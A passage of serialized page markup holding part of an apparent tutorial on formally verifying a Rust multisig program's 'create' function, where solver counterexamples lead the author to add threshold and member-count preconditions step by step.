Program",{"type":22,"tag":264,"props":24494,"children":24495},{"style":1539},[24496],{"type":27,"value":24223},{"type":22,"tag":264,"props":24498,"children":24499},{"style":4722},[24500],{"type":27,"value":24228},{"type":22,"tag":264,"props":24502,"children":24503},{"style":1539},[24504],{"type":27,"value":4380},{"type":22,"tag":264,"props":24506,"children":24507},{"style":4722},[24508],{"type":27,"value":24509},"System",{"type":22,"tag":264,"props":24511,"children":24512},{"style":1539},[24513],{"type":27,"value":7430},{"type":22,"tag":264,"props":24515,"children":24516},{"class":1534,"line":4948},[24517],{"type":22,"tag":264,"props":24518,"children":24519},{"style":1539},[24520],{"type":27,"value":1692},{"type":22,"tag":264,"props":24522,"children":24523},{"class":1534,"line":4957},[24524],{"type":22,"tag":264,"props":24525,"children":24526},{"emptyLinePlaceholder":17},[24527],{"type":27,"value":4986},{"type":22,"tag":264,"props":24529,"children":24530},{"class":1534,"line":4980},[24531,24535,24539,24543],{"type":22,"tag":264,"props":24532,"children":24533},{"style":4293},[24534],{"type":27,"value":14989},{"type":22,"tag":264,"props":24536,"children":24537},{"style":4293},[24538],{"type":27,"value":14994},{"type":22,"tag":264,"props":24540,"children":24541},{"style":4401},[24542],{"type":27,"value":8405},{"type":22,"tag":264,"props":24544,"children":24545},{"style":1539},[24546],{"type":27,"value":4767},{"type":22,"tag":264,"props":24548,"children":24549},{"class":1534,"line":4989},[24550,24554,24558,24562,24566,24571],{"type":22,"tag":264,"props":24551,"children":24552},{"style":1549},[24553],{"type":27,"value":21530},{"type":22,"tag":264,"props":24555,"children":24556},{"style":4309},[24557],{"type":27,"value":5785},{"type":22,"tag":264,"props":24559,"children":24560},{"style":4722},[24561],{"type":27,"value":21596},{"type":22,"tag":264,"props":24563,"children":24564},{"style":1539},[24565],{"type":27,"value":7097},{"type":22,"tag":264,"props":24567,"children":24568},{"style":4722},[24569],{"type":27,"value":24570},"Create",{"type":22,"tag":264,"props":24572,"children":24573},{"style":1539},[24574],{"type":27,"value":7430},{"type":22,"tag":264,"props":24576,"children":24577},{"class":1534,"line":4998},[24578,24583,24587,24591],{"type":22,"tag":264,"props":24579,"children":24580},{"style":1549},[24581],{"type":27,"value":24582},"    threshold",{"type":22,"tag":264,"props":24584,"children":24585},{"style":4309},[24586],{"type":27,"value":5785},{"type":22,"tag":264,"props":24588,"children":24589},{"style":4722},[24590],{"type":27,"value":22337},{"type":22,"tag":264,"props":24592,"children":24593},{"style":1539},[24594],{"type":27,"value":4812},{"type":22,"tag":264,"props":24596,"children":24597},{"class":1534,"line":5067},[24598,24603,24607,24611],{"type":22,"tag":264,"props":24599,"children":24600},{"style":1549},[24601],{"type":27,"value":24602},"    create_key",{"type":22,"tag":264,"props":24604,"children":24605},{"style":4309},[24606],{"type":27,"value":5785},{"type":22,"tag":264,"props":24608,"children":24609},{"style":4722},[24610],{"type":27,"value":22164},{"type":22,"tag":264,"props":24612,"children":24613},{"style":1539},[24614],{"type":27,"value":4812},{"type":22,"tag":264,"props":24616,"children":24617},{"class":1534,"line":5075},[24618,24623,24627,24631,24635,24639],{"type":22,"tag":264,"props":24619,"children":24620},{"style":1549},[24621],{"type":27,"value":24622},"    members",{"type":22,"tag":264,"props":24624,"children":24625},{"style":4309},[24626],{"type":27,"value":5785},{"type":22,"tag":264,"props":24628,"children":24629},{"style":4722},[24630],{"type":27,"value":22696},{"type":22,"tag":264,"props":24632,"children":24633},{"style":1539},[24634],{"type":27,"value":7097},{"type":22,"tag":264,"props":24636,"children":24637},{"style":4722},[24638],{"type":27,"value":22705},{"type":22,"tag":264,"props":24640,"children":24641},{"style":1539},[24642],{"type":27,"value":7430},{"type":22,"tag":264,"props":24644,"children":24645},{"class":1534,"line":5105},[24646,24650,24654,24658],{"type":22,"tag":264,"props":24647,"children":24648},{"style":1539},[24649],{"type":27,"value":4390},{"type":22,"tag":264,"props":24651,"children":24652},{"style":4309},[24653],{"type":27,"value":15056},{"type":22,"tag":264,"props":24655,"children":24656},{"style":4722},[24657],{"type":27,"value":15061},{"type":22,"tag":264,"props":24659,"children":24660},{"style":1539},[24661],{"type":27,"value":21638},{"type":22,"tag":264,"props":24663,"children":24664},{"class":1534,"line":5113},[24665],{"type":22,"tag":264,"props":24666,"children":24667},{"style":4284},[24668],{"type":27,"value":24669},"    // sort the members and remove duplicates\n",{"type":22,"tag":264,"props":24671,"children":24672},{"class":1534,"line":5145},[24673,24677,24681,24686,24690,24694],{"type":22,"tag":264,"props":24674,"children":24675},{"style":4293},[24676],{"type":27,"value":4296},{"type":22,"tag":264,"props":24678,"children":24679},{"style":4293},[24680],{"type":27,"value":4301},{"type":22,"tag":264,"props":24682,"children":24683},{"style":1549},[24684],{"type":27,"value":24685}," members",{"type":22,"tag":264,"props":24687,"children":24688},{"style":4309},[24689],{"type":27,"value":4312},{"type":22,"tag":264,"props":24691,"children":24692},{"style":1549},[24693],{"type":27,"value":24685},{"type":22,"tag":264,"props":24695,"children":24696},{"style":1539},[24697],{"type":27,"value":4322},{"type":22,"tag":264,"props":24699,"children":24700},{"class":1534,"line":5153},[24701,24705,24709,24714],{"type":22,"tag":264,"props":24702,"children":24703},{"style":1549},[24704],{"type":27,"value":24622},{"type":22,"tag":264,"props":24706,"children":24707},{"style":4309},[24708],{"type":27,"value":210},{"type":22,"tag":264,"props":24710,"children":24711},{"style":4401},[24712],{"type":27,"value":24713},"sort",{"type":22,"tag":264,"props":24715,"children":24716},{"style":1539},[24717],{"type":27,"value":4977},{"type":22,"tag":264,"props":24719,"children":24720},{"class":1534,"line":5213},[24721,24725,24729,24734],{"type":22,"tag":264,"props":24722,"children":24723},{"style":1549},[24724],{"type":27,"value":24622},{"type":22,"tag":264,"props":24726,"children":24727},{"style":4309},[24728],{"type":27,"value":210},{"type":22,"tag":264,"props":24730,"children":24731},{"style":4401},[24732],{"type":27,"value":24733},"dedup",{"type":22,"tag":264,"props":24735,"children":24736},{"style":1539},[24737],{"type":27,"value":4977},{"type":22,"tag":264,"props":24739,"children":24740},{"class":1534,"line":10343},[24741],{"type":22,"tag":264,"props":24742,"children":24743},{"emptyLinePlaceholder":17},[24744],{"type":27,"value":4986},{"type":22,"tag":264,"props":24746,"children":24747},{"class":1534,"line":10361},[24748],{"type":22,"tag":264,"props":24749,"children":24750},{"style":4284},[24751],{"type":27,"value":24752},"    // check we don't exceed u16\n",{"type":22,"tag":264,"props":24754,"children":24755},{"class":1534,"line":10406},[24756,24760,24765,24769,24773,24777,24781],{"type":22,"tag":264,"props":24757,"children":24758},{"style":4293},[24759],{"type":27,"value":4296},{"type":22,"tag":264,"props":24761,"children":24762},{"style":1549},[24763],{"type":27,"value":24764}," total_members",{"type":22,"tag":264,"props":24766,"children":24767},{"style":4309},[24768],{"type":27,"value":4312},{"type":22,"tag":264,"props":24770,"children":24771},{"style":1549},[24772],{"type":27,"value":24685},{"type":22,"tag":264,"props":24774,"children":24775},{"style":4309},[24776],{"type":27,"value":210},{"type":22,"tag":264,"props":24778,"children":24779},{"style":4401},[24780],{"type":27,"value":10436},{"type":22,"tag":264,"props":24782,"children":24783},{"style":1539},[24784],{"type":27,"value":4977},{"type":22,"tag":264,"props":24786,"children":24787},{"class":1534,"line":10512},[24788,24792,24796,24800,24804],{"type":22,"tag":264,"props":24789,"children":24790},{"style":4328},[24791],{"type":27,"value":13578},{"type":22,"tag":264,"props":24793,"children":24794},{"style":1549},[24795],{"type":27,"value":24764},{"type":22,"tag":264,"props":24797,"children":24798},{"style":4309},[24799],{"type":27,"value":10014},{"type":22,"tag":264,"props":24801,"children":24802},{"style":4344},[24803],{"type":27,"value":5817},{"type":22,"tag":264,"props":24805,"children":24806},{"style":1539},[24807],{"type":27,"value":4594},{"type":22,"tag":264,"props":24809,"children":24811},{"class":1534,"line":24810},31,[24812,24816,24821,24825,24830,24834,24839],{"type":22,"tag":264,"props":24813,"children":24814},{"style":4328},[24815],{"type":27,"value":17044},{"type":22,"tag":264,"props":24817,"children":24818},{"style":4401},[24819],{"type":27,"value":24820}," err!",{"type":22,"tag":264,"props":24822,"children":24823},{"style":1539},[24824],{"type":27,"value":2660},{"type":22,"tag":264,"props":24826,"children":24827},{"style":4722},[24828],{"type":27,"value":24829},"MsError",{"type":22,"tag":264,"props":24831,"children":24832},{"style":4309},[24833],{"type":27,"value":4785},{"type":22,"tag":264,"props":24835,"children":24836},{"style":4722},[24837],{"type":27,"value":24838},"EmptyMembers",{"type":22,"tag":264,"props":24840,"children":24841},{"style":1539},[24842],{"type":27,"value":5142},{"type":22,"tag":264,"props":24844,"children":24846},{"class":1534,"line":24845},32,[24847],{"type":22,"tag":264,"props":24848,"children":24849},{"style":1539},[24850],{"type":27,"value":1674},{"type":22,"tag":264,"props":24852,"children":24854},{"class":1534,"line":24853},33,[24855],{"type":22,"tag":264,"props":24856,"children":24857},{"emptyLinePlaceholder":17},[24858],{"type":27,"value":4986},{"type":22,"tag":264,"props":24860,"children":24862},{"class":1534,"line":24861},34,[24863],{"type":22,"tag":264,"props":24864,"children":24865},{"style":4284},[24866],{"type":27,"value":24867},"    // make sure we don't exceed u16 on first call\n",{"type":22,"tag":264,"props":24869,"children":24871},{"class":1534,"line":24870},35,[24872,24876,24880,24884,24888,24892,24896,24901,24905],{"type":22,"tag":264,"props":24873,"children":24874},{"style":4328},[24875],{"type":27,"value":13578},{"type":22,"tag":264,"props":24877,"children":24878},{"style":1549},[24879],{"type":27,"value":24764},{"type":22,"tag":264,"props":24881,"children":24882},{"style":4309},[24883],{"type":27,"value":15493},{"type":22,"tag":264,"props":24885,"children":24886},{"style":4722},[24887],{"type":27,"value":15030},{"type":22,"tag":264,"props":24889,"children":24890},{"style":4309},[24891],{"type":27,"value":4785},{"type":22,"tag":264,"props":24893,"children":24894},{"style":4401},[24895],{"type":27,"value":20779},{"type":22,"tag":264,"props":24897,"children":24898},{"style":1539},[24899],{"type":27,"value":24900},"(u16",{"type":22,"tag":264,"props":24902,"children":24903},{"style":4309},[24904],{"type":27,"value":4785},{"type":22,"tag":264,"props":24906,"children":24907},{"style":1539},[24908],{"type":27,"value":24909},"MAX) {\n",{"type":22,"tag":264,"props":24911,"children":24913},{"class":1534,"line":24912},36,[24914,24918,24922,24926,24930,24934,24939],{"type":22,"tag":264,"props":24915,"children":24916},{"style":4328},[24917],{"type":27,"value":17044},{"type":22,"tag":264,"props":24919,"children":24920},{"style":4401},[24921],{"type":27,"value":24820},{"type":22,"tag":264,"props":24923,"children":24924},{"style":1539},[24925],{"type":27,"value":2660},{"type":22,"tag":264,"props":24927,"children":24928},{"style":4722},[24929],{"type":27,"value":24829},{"type":22,"tag":264,"props":24931,"children":24932},{"style":4309},[24933],{"type":27,"value":4785},{"type":22,"tag":264,"props":24935,"children":24936},{"style":4722},[24937],{"type":27,"value":24938},"MaxMembersReached",{"type":22,"tag":264,"props":24940,"children":24941},{"style":1539},[24942],{"type":27,"value":5142},{"type":22,"tag":264,"props":24944,"children":24946},{"class":1534,"line":24945},37,[24947],{"type":22,"tag":264,"props":24948,"children":24949},{"style":1539},[24950],{"type":27,"value":1674},{"type":22,"tag":264,"props":24952,"children":24954},{"class":1534,"line":24953},38,[24955],{"type":22,"tag":264,"props":24956,"children":24957},{"emptyLinePlaceholder":17},[24958],{"type":27,"value":4986},{"type":22,"tag":264,"props":24960,"children":24962},{"class":1534,"line":24961},39,[24963],{"type":22,"tag":264,"props":24964,"children":24965},{"style":4284},[24966],{"type":27,"value":24967},"    // make sure threshold is valid\n",{"type":22,"tag":264,"props":24969,"children":24971},{"class":1534,"line":24970},40,[24972,24976,24980,24984,24988,24992,24996,25001,25005,25010,25014,25018,25022,25026,25030,25035,25040],{"type":22,"tag":264,"props":24973,"children":24974},{"style":4328},[24975],{"type":27,"value":13578},{"type":22,"tag":264,"props":24977,"children":24978},{"style":4722},[24979],{"type":27,"value":15030},{"type":22,"tag":264,"props":24981,"children":24982},{"style":4309},[24983],{"type":27,"value":4785},{"type":22,"tag":264,"props":24985,"children":24986},{"style":4401},[24987],{"type":27,"value":20779},{"type":22,"tag":264,"props":24989,"children":24990},{"style":1539},[24991],{"type":27,"value":2660},{"type":22,"tag":264,"props":24993,"children":24994},{"style":1549},[24995],{"type":27,"value":24050},{"type":22,"tag":264,"props":24997,"children":24998},{"style":1539},[24999],{"type":27,"value":25000},") \u003C ",{"type":22,"tag":264,"props":25002,"children":25003},{"style":4344},[25004],{"type":27,"value":602},{"type":22,"tag":264,"props":25006,"children":25007},{"style":4309},[25008],{"type":27,"value":25009}," ||",{"type":22,"tag":264,"props":25011,"children":25012},{"style":4722},[25013],{"type":27,"value":15030},{"type":22,"tag":264,"props":25015,"children":25016},{"style":4309},[25017],{"type":27,"value":4785},{"type":22,"tag":264,"props":25019,"children":25020},{"style":4401},[25021],{"type":27,"value":20779},{"type":22,"tag":264,"props":25023,"children":25024},{"style":1539},[25025],{"type":27,"value":2660},{"type":22,"tag":264,"props":25027,"children":25028},{"style":1549},[25029],{"type":27,"value":24050},{"type":22,"tag":264,"props":25031,"children":25032},{"style":1539},[25033],{"type":27,"value":25034},") > ",{"type":22,"tag":264,"props":25036,"children":25037},{"style":1549},[25038],{"type":27,"value":25039},"total_members",{"type":22,"tag":264,"props":25041,"children":25042},{"style":1539},[25043],{"type":27,"value":4594},{"type":22,"tag":264,"props":25045,"children":25047},{"class":1534,"line":25046},41,[25048,25052,25056,25060,25064,25068,25073],{"type":22,"tag":264,"props":25049,"children":25050},{"style":4328},[25051],{"type":27,"value":17044},{"type":22,"tag":264,"props":25053,"children":25054},{"style":4401},[25055],{"type":27,"value":24820},{"type":22,"tag":264,"props":25057,"children":25058},{"style":1539},[25059],{"type":27,"value":2660},{"type":22,"tag":264,"props":25061,"children":25062},{"style":4722},[25063],{"type":27,"value":24829},{"type":22,"tag":264,"props":25065,"children":25066},{"style":4309},[25067],{"type":27,"value":4785},{"type":22,"tag":264,"props":25069,"children":25070},{"style":4722},[25071],{"type":27,"value":25072},"InvalidThreshold",{"type":22,"tag":264,"props":25074,"children":25075},{"style":1539},[25076],{"type":27,"value":5142},{"type":22,"tag":264,"props":25078,"children":25080},{"class":1534,"line":25079},42,[25081],{"type":22,"tag":264,"props":25082,"children":25083},{"style":1539},[25084],{"type":27,"value":1674},{"type":22,"tag":264,"props":25086,"children":25088},{"class":1534,"line":25087},43,[25089],{"type":22,"tag":264,"props":25090,"children":25091},{"emptyLinePlaceholder":17},[25092],{"type":27,"value":4986},{"type":22,"tag":264,"props":25094,"children":25096},{"class":1534,"line":25095},44,[25097,25101,25105,25109,25113,25118,25122,25126],{"type":22,"tag":264,"props":25098,"children":25099},{"style":1549},[25100],{"type":27,"value":21530},{"type":22,"tag":264,"props":25102,"children":25103},{"style":4309},[25104],{"type":27,"value":210},{"type":22,"tag":264,"props":25106,"children":25107},{"style":1539},[25108],{"type":27,"value":15974},{"type":22,"tag":264,"props":25110,"children":25111},{"style":4309},[25112],{"type":27,"value":210},{"type":22,"tag":264,"props":25114,"children":25115},{"style":1539},[25116],{"type":27,"value":25117},"multisig",{"type":22,"tag":264,"props":25119,"children":25120},{"style":4309},[25121],{"type":27,"value":210},{"type":22,"tag":264,"props":25123,"children":25124},{"style":4401},[25125],{"type":27,"value":22047},{"type":22,"tag":264,"props":25127,"children":25128},{"style":1539},[25129],{"type":27,"value":4767},{"type":22,"tag":264,"props":25131,"children":25133},{"class":1534,"line":25132},45,[25134,25139],{"type":22,"tag":264,"props":25135,"children":25136},{"style":1549},[25137],{"type":27,"value":25138},"        threshold",{"type":22,"tag":264,"props":25140,"children":25141},{"style":1539},[25142],{"type":27,"value":4812},{"type":22,"tag":264,"props":25144,"children":25146},{"class":1534,"line":25145},46,[25147,25152],{"type":22,"tag":264,"props":25148,"children":25149},{"style":1549},[25150],{"type":27,"value":25151},"        create_key",{"type":22,"tag":264,"props":25153,"children":25154},{"style":1539},[25155],{"type":27,"value":4812},{"type":22,"tag":264,"props":25157,"children":25159},{"class":1534,"line":25158},47,[25160,25165],{"type":22,"tag":264,"props":25161,"children":25162},{"style":1549},[25163],{"type":27,"value":25164},"        members",{"type":22,"tag":264,"props":25166,"children":25167},{"style":1539},[25168],{"type":27,"value":4812},{"type":22,"tag":264,"props":25170,"children":25172},{"class":1534,"line":25171},48,[25173,25177,25181,25185,25190,25194,25198,25202,25207,25211,25215,25219],{"type":22,"tag":264,"props":25174,"children":25175},{"style":4309},[25176],{"type":27,"value":9045},{"type":22,"tag":264,"props":25178,"children":25179},{"style":1549},[25180],{"type":27,"value":21587},{"type":22,"tag":264,"props":25182,"children":25183},{"style":4309},[25184],{"type":27,"value":210},{"type":22,"tag":264,"props":25186,"children":25187},{"style":1539},[25188],{"type":27,"value":25189},"bumps",{"type":22,"tag":264,"props":25191,"children":25192},{"style":4309},[25193],{"type":27,"value":210},{"type":22,"tag":264,"props":25195,"children":25196},{"style":4401},[25197],{"type":27,"value":17652},{"type":22,"tag":264,"props":25199,"children":25200},{"style":1539},[25201],{"type":27,"value":2660},{"type":22,"tag":264,"props":25203,"children":25204},{"style":1597},[25205],{"type":27,"value":25206},"\"multisig\"",{"type":22,"tag":264,"props":25208,"children":25209},{"style":1539},[25210],{"type":27,"value":2806},{"type":22,"tag":264,"props":25212,"children":25213},{"style":4309},[25214],{"type":27,"value":210},{"type":22,"tag":264,"props":25216,"children":25217},{"style":4401},[25218],{"type":27,"value":4972},{"type":22,"tag":264,"props":25220,"children":25221},{"style":1539},[25222],{"type":27,"value":4795},{"type":22,"tag":264,"props":25224,"children":25226},{"class":1534,"line":25225},49,[25227],{"type":22,"tag":264,"props":25228,"children":25229},{"style":1539},[25230],{"type":27,"value":25231},"    )\n",{"type":22,"tag":264,"props":25233,"children":25235},{"class":1534,"line":25234},50,[25236],{"type":22,"tag":264,"props":25237,"children":25238},{"style":1539},[25239],{"type":27,"value":1692},{"type":22,"tag":23,"props":25241,"children":25242},{},[25243,25245,25250,25252,25257],{"type":27,"value":25244},"We can start by testing an empty ",{"type":22,"tag":257,"props":25246,"children":25248},{"className":25247},[],[25249],{"type":27,"value":21461},{"type":27,"value":25251}," (this will default to ",{"type":22,"tag":257,"props":25253,"children":25255},{"className":25254},[],[25256],{"type":27,"value":273},{"type":27,"value":25258},"):",{"type":22,"tag":618,"props":25260,"children":25262},{"code":25261,"language":4273,"meta":7,"className":4274,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[25263],{"type":22,"tag":257,"props":25264,"children":25265},{"__ignoreMap":7},[25266,25274],{"type":22,"tag":264,"props":25267,"children":25268},{"class":1534,"line":1535},[25269],{"type":22,"tag":264,"props":25270,"children":25271},{"style":1539},[25272],{"type":27,"value":25273},"#[succeeds_if()]\n",{"type":22,"tag":264,"props":25275,"children":25276},{"class":1534,"line":1545},[25277,25281,25285,25289,25293,25297,25302,25306],{"type":22,"tag":264,"props":25278,"children":25279},{"style":4293},[25280],{"type":27,"value":14989},{"type":22,"tag":264,"props":25282,"children":25283},{"style":4293},[25284],{"type":27,"value":14994},{"type":22,"tag":264,"props":25286,"children":25287},{"style":4401},[25288],{"type":27,"value":8405},{"type":22,"tag":264,"props":25290,"children":25291},{"style":1539},[25292],{"type":27,"value":2660},{"type":22,"tag":264,"props":25294,"children":25295},{"style":4309},[25296],{"type":27,"value":10889},{"type":22,"tag":264,"props":25298,"children":25299},{"style":1539},[25300],{"type":27,"value":25301},") { ",{"type":22,"tag":264,"props":25303,"children":25304},{"style":4309},[25305],{"type":27,"value":10889},{"type":22,"tag":264,"props":25307,"children":25308},{"style":1539},[25309],{"type":27,"value":10894},{"type":22,"tag":23,"props":25311,"children":25312},{},[25313],{"type":27,"value":25314},"Running the solver, we get:",{"type":22,"tag":618,"props":25316,"children":25318},{"code":25317},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[25319],{"type":22,"tag":257,"props":25320,"children":25321},{"__ignoreMap":7},[25322],{"type":27,"value":25317},{"type":22,"tag":23,"props":25324,"children":25325},{},[25326,25328,25333],{"type":27,"value":25327},"This means that ",{"type":22,"tag":257,"props":25329,"children":25331},{"className":25330},[],[25332],{"type":27,"value":273},{"type":27,"value":25334}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":22,"tag":23,"props":25336,"children":25337},{},[25338],{"type":27,"value":25339},"We can ask the solver to produce a counterexample:",{"type":22,"tag":618,"props":25341,"children":25343},{"code":25342},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25344],{"type":22,"tag":257,"props":25345,"children":25346},{"__ignoreMap":7},[25347],{"type":27,"value":25342},{"type":22,"tag":23,"props":25349,"children":25350},{},[25351],{"type":27,"value":25352},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":22,"tag":23,"props":25354,"children":25355},{},[25356],{"type":22,"tag":1699,"props":25357,"children":25358},{},[25359,25361,25367],{"type":27,"value":25360},"Note also that the verifier decided to use a ",{"type":22,"tag":257,"props":25362,"children":25364},{"className":25363},[],[25365],{"type":27,"value":25366},"SparseVec",{"type":27,"value":25368}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":22,"tag":23,"props":25370,"children":25371},{},[25372],{"type":22,"tag":1699,"props":25373,"children":25374},{},[25375,25377,25382,25383,25389,25391,25396,25398,25403],{"type":27,"value":25376},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":22,"tag":257,"props":25378,"children":25380},{"className":25379},[],[25381],{"type":27,"value":5128},{"type":27,"value":12290},{"type":22,"tag":257,"props":25384,"children":25386},{"className":25385},[],[25387],{"type":27,"value":25388},"pop",{"type":27,"value":25390}," are stubbed out to simply panic for the ",{"type":22,"tag":257,"props":25392,"children":25394},{"className":25393},[],[25395],{"type":27,"value":25366},{"type":27,"value":25397}," and if this code tried to do that we would fall back to the concrete ",{"type":22,"tag":257,"props":25399,"children":25401},{"className":25400},[],[25402],{"type":27,"value":18513},{"type":27,"value":25404}," type.",{"type":22,"tag":23,"props":25406,"children":25407},{},[25408],{"type":27,"value":25409},"We can add this to our constraint and try again:",{"type":22,"tag":618,"props":25411,"children":25413},{"code":25412,"language":4273,"meta":7,"className":4274,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[25414],{"type":22,"tag":257,"props":25415,"children":25416},{"__ignoreMap":7},[25417,25425,25462,25469],{"type":22,"tag":264,"props":25418,"children":25419},{"class":1534,"line":1535},[25420],{"type":22,"tag":264,"props":25421,"children":25422},{"style":1539},[25423],{"type":27,"value":25424},"#[succeeds_if(\n",{"type":22,"tag":264,"props":25426,"children":25427},{"class":1534,"line":1545},[25428,25433,25437,25441,25445,25449,25453,25457],{"type":22,"tag":264,"props":25429,"children":25430},{"style":1539},[25431],{"type":27,"value":25432},"    (threshold ",{"type":22,"tag":264,"props":25434,"children":25435},{"style":4293},[25436],{"type":27,"value":10137},{"type":22,"tag":264,"props":25438,"children":25439},{"style":4722},[25440],{"type":27,"value":15030},{"type":22,"tag":264,"props":25442,"children":25443},{"style":1539},[25444],{"type":27,"value":4390},{"type":22,"tag":264,"props":25446,"children":25447},{"style":4309},[25448],{"type":27,"value":20720},{"type":22,"tag":264,"props":25450,"children":25451},{"style":1539},[25452],{"type":27,"value":24685},{"type":22,"tag":264,"props":25454,"children":25455},{"style":4309},[25456],{"type":27,"value":210},{"type":22,"tag":264,"props":25458,"children":25459},{"style":1539},[25460],{"type":27,"value":25461},"len()\n",{"type":22,"tag":264,"props":25463,"children":25464},{"class":1534,"line":1560},[25465],{"type":22,"tag":264,"props":25466,"children":25467},{"style":1539},[25468],{"type":27,"value":21565},{"type":22,"tag":264,"props":25470,"children":25471},{"class":1534,"line":1569},[25472,25476,25480,25484,25488,25492,25496,25500],{"type":22,"tag":264,"props":25473,"children":25474},{"style":4293},[25475],{"type":27,"value":14989},{"type":22,"tag":264,"props":25477,"children":25478},{"style":4293},[25479],{"type":27,"value":14994},{"type":22,"tag":264,"props":25481,"children":25482},{"style":4401},[25483],{"type":27,"value":8405},{"type":22,"tag":264,"props":25485,"children":25486},{"style":1539},[25487],{"type":27,"value":2660},{"type":22,"tag":264,"props":25489,"children":25490},{"style":4309},[25491],{"type":27,"value":10889},{"type":22,"tag":264,"props":25493,"children":25494},{"style":1539},[25495],{"type":27,"value":25301},{"type":22,"tag":264,"props":25497,"children":25498},{"style":4309},[25499],{"type":27,"value":10889},{"type":22,"tag":264,"props":25501,"children":25502},{"style":1539},[25503],{"type":27,"value":10894},{"type":22,"tag":23,"props":25505,"children":25506},{},[25507],{"type":27,"value":25508},"Verification failed again! This time we get a different counterexample:",{"type":22,"tag":618,"props":25510,"children":25512},{"code":25511},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25513],{"type":22,"tag":257,"props":25514,"children":25515},{"__ignoreMap":7},[25516],{"type":27,"value":25511},{"type":22,"tag":23,"props":25518,"children":25519},{},[25520],{"type":27,"value":25521},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":22,"tag":618,"props":25523,"children":25525},{"code":25524,"language":4273,"meta":7,"className":4274,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[25526],{"type":22,"tag":257,"props":25527,"children":25528},{"__ignoreMap":7},[25529,25536,25571,25592,25599],{"type":22,"tag":264,"props":25530,"children":25531},{"class":1534,"line":1535},[25532],{"type":22,"tag":264,"props":25533,"children":25534},{"style":1539},[25535],{"type":27,"value":25424},{"type":22,"tag":264,"props":25537,"children":25538},{"class":1534,"line":1545},[25539,25543,25547,25551,25555,25559,25563,25567],{"type":22,"tag":264,"props":25540,"children":25541},{"style":1539},[25542],{"type":27,"value":25432},{"type":22,"tag":264,"props":25544,"children":25545},{"style":4293},[25546],{"type":27,"value":10137},{"type":22,"tag":264,"props":25548,"children":25549},{"style":4722},[25550],{"type":27,"value":15030},{"type":22,"tag":264,"props":25552,"children":25553},{"style":1539},[25554],{"type":27,"value":4390},{"type":22,"tag":264,"props":25556,"children":25557},{"style":4309},[25558],{"type":27,"value":20720},{"type":22,"tag":264,"props":25560,"children":25561},{"style":1539},[25562],{"type":27,"value":24685},{"type":22,"tag":264,"props":25564,"children":25565},{"style":4309},[25566],{"type":27,"value":210},{"type":22,"tag":264,"props":25568,"children":25569},{"style":1539},[25570],{"type":27,"value":25461},{"type":22,"tag":264,"props":25572,"children":25573},{"class":1534,"line":1560},[25574,25578,25583,25587],{"type":22,"tag":264,"props":25575,"children":25576},{"style":4309},[25577],{"type":27,"value":16921},{"type":22,"tag":264,"props":25579,"children":25580},{"style":1539},[25581],{"type":27,"value":25582}," threshold ",{"type":22,"tag":264,"props":25584,"children":25585},{"style":4309},[25586],{"type":27,"value":16988},{"type":22,"tag":264,"props":25588,"children":25589},{"style":1539},[25590],{"type":27,"value":25591}," 0\n",{"type":22,"tag":264,"props":25593,"children":25594},{"class":1534,"line":1569},[25595],{"type":22,"tag":264,"props":25596,"children":25597},{"style":1539},[25598],{"type":27,"value":21565},{"type":22,"tag":264,"props":25600,"children":25601},{"class":1534,"line":1583},[25602,25606,25610,25614,25618,25622,25626,25630],{"type":22,"tag":264,"props":25603,"children":25604},{"style":4293},[25605],{"type":27,"value":14989},{"type":22,"tag":264,"props":25607,"children":25608},{"style":4293},[25609],{"type":27,"value":14994},{"type":22,"tag":264,"props":25611,"children":25612},{"style":4401},[25613],{"type":27,"value":8405},{"type":22,"tag":264,"props":25615,"children":25616},{"style":1539},[25617],{"type":27,"value":2660},{"type":22,"tag":264,"props":25619,"children":25620},{"style":4309},[25621],{"type":27,"value":10889},{"type":22,"tag":264,"props":25623,"children":25624},{"style":1539},[25625],{"type":27,"value":25301},{"type":22,"tag":264,"props":25627,"children":25628},{"style":4309},[25629],{"type":27,"value":10889},{"type":22,"tag":264,"props":25631,"children":25632},{"style":1539},[25633],{"type":27,"value":10894},{"type":22,"tag":23,"props":25635,"children":25636},{},[25637],{"type":27,"value":25638},"A third counterexample:",{"type":22,"tag":618,"props":25640,"children":25642},{"code":25641},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[25643],{"type":22,"tag":257,"props":25644,"children":25645},{"__ignoreMap":7},[25646],{"type":27,"value":25641},{"type":22,"tag":23,"props":25648,"children":25649},{},[25650,25652,25658],{"type":27,"value":25651},"Here we see the size of our ",{"type":22,"tag":257,"props":25653,"children":25655},{"className":25654},[],[25656],{"type":27,"value":25657},"members",{"type":27,"value":25659}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":22,"tag":618,"props":25661,"children":25663},{"code":25662,"language":4273,"meta":7,"className":4274,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... 